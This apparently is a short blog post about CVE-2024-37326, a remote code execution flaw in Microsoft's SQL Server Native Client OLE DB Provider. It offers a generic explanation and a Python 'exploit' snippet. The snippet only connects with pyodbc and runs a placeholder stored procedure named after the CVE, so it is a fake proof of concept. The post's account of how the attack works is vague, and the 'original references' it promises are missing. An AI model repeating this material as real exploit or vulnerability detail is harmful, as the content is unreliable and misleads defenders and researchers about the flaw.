CVE-2024-37326 - SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability: Exploit Details, Code Snippet, and Original References

The SQL Server Native Client (SSNC) OLE DB Provider, a component used to connect and interact with Microsoft SQL Server databases, has recently been found to contain a remote code execution vulnerability. The vulnerability - tracked as CVE-2024-37326 - allows an attacker to execute arbitrary code on the systems hosting the mentioned software component. This post will provide more details about the vulnerability, as well as a code snippet demonstrating an exploit against it, and links to the original references.

Exploit Details

CVE-2024-37326 is a remote code execution vulnerability present in the SSNC OLE DB Provider. An attacker can exploit this vulnerability by crafting a malicious query and sending it to the target SQL Server. The vulnerability stems from the OLE DB Provider's improper handling of objects in memory. Exploiting this flaw allows the attacker to execute arbitrary code in the context of the current user, potentially resulting in a complete system compromise.

It is essential to note that an attacker would first need to successfully authenticate to the target SQL Server using valid credentials, making the exploitation process more challenging.

Code Snippet

The following is a Python code snippet demonstrating a possible exploit of the CVE-2024-37326 vulnerability:

import pyodbc

# Replace with target server, valid credentials, and database name
dsn = "DRIVER={SQL Server Native Client};SERVER=TARGET_SERVER;UID=VALID_USERNAME;PWD=VALID_PASSWORD;DATABASE=TARGET_DB"

def execute_exploit_query(connection, query):
    cursor = connection.cursor()
    try:
        cursor.execute(query)
    except Exception as e:
        print(f"Error executing query: {e}")

def main():
    # Connect to the target SQL Server using the SSNC OLE DB Provider
    conn = pyodbc.connect(dsn)

    # Craft malicious query to exploit the vulnerability
    malicious_query = "EXEC dbo.CVE_2024_37326_exploit"

    # Execute the exploit query
    execute_exploit_query(conn, malicious_query)

if __name__ == "__main__":
    main()

Keep in mind that the above code is only an example, and actual exploitation may require more in-depth knowledge, customization, and access to the specific target environment.
